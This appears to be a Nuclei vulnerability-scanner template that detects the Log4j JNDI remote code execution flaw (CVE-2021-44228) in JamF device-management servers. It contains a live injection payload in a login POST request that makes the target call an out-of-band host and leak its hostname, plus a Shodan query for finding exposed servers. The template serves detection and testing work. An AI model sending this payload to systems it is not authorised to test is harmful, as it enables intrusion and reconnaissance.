nuclei-templates/vulnerabilities/jamf/jamf-log4j-jndi-rce.yaml

55 lines
1.7 KiB
YAML
Raw Normal View History

2022-02-01 09:55:52 +00:00
id: jamf-log4j-jndi-rce
info:
name: JamF - Remote Code Execution (Apache Log4j)
2022-02-01 09:55:52 +00:00
author: pdteam
severity: critical
2022-05-31 08:42:11 +00:00
description: |
JamF is susceptible to Lof4j JNDI remote code execution. JamF is the industry standard when it comes to the management of iOS devices (iPhones and iPads), macOS computers (MacBooks, iMacs, etc.), and tvOS devices (Apple TV).
reference:
- https://github.com/random-robbie/jamf-log4j
- https://community.connection.com/what-is-jamf/
2022-07-16 17:08:02 +00:00
- https://logging.apache.org/log4j/2.x/security.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2021-44228
cwe-id: CWE-917
2022-07-18 06:34:40 +00:00
metadata:
shodan-query: http.html:"JamF"
verified: "true"
tags: cve,cve2021,rce,jndi,log4j,jamf,oast,kev
2022-02-01 09:55:52 +00:00
requests:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Referer: {{RootURL}}
Content-Type: application/x-www-form-urlencoded
username=${jndi:ldap://${hostName}.{{interactsh-url}}/test}&password=
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"
- type: regex
part: interactsh_request
regex:
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Match for extracted ${hostName} variable
2022-02-01 09:55:52 +00:00
extractors:
- type: regex
part: interactsh_request
group: 1
regex:
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output
# Enhanced by mp on 2022/05/27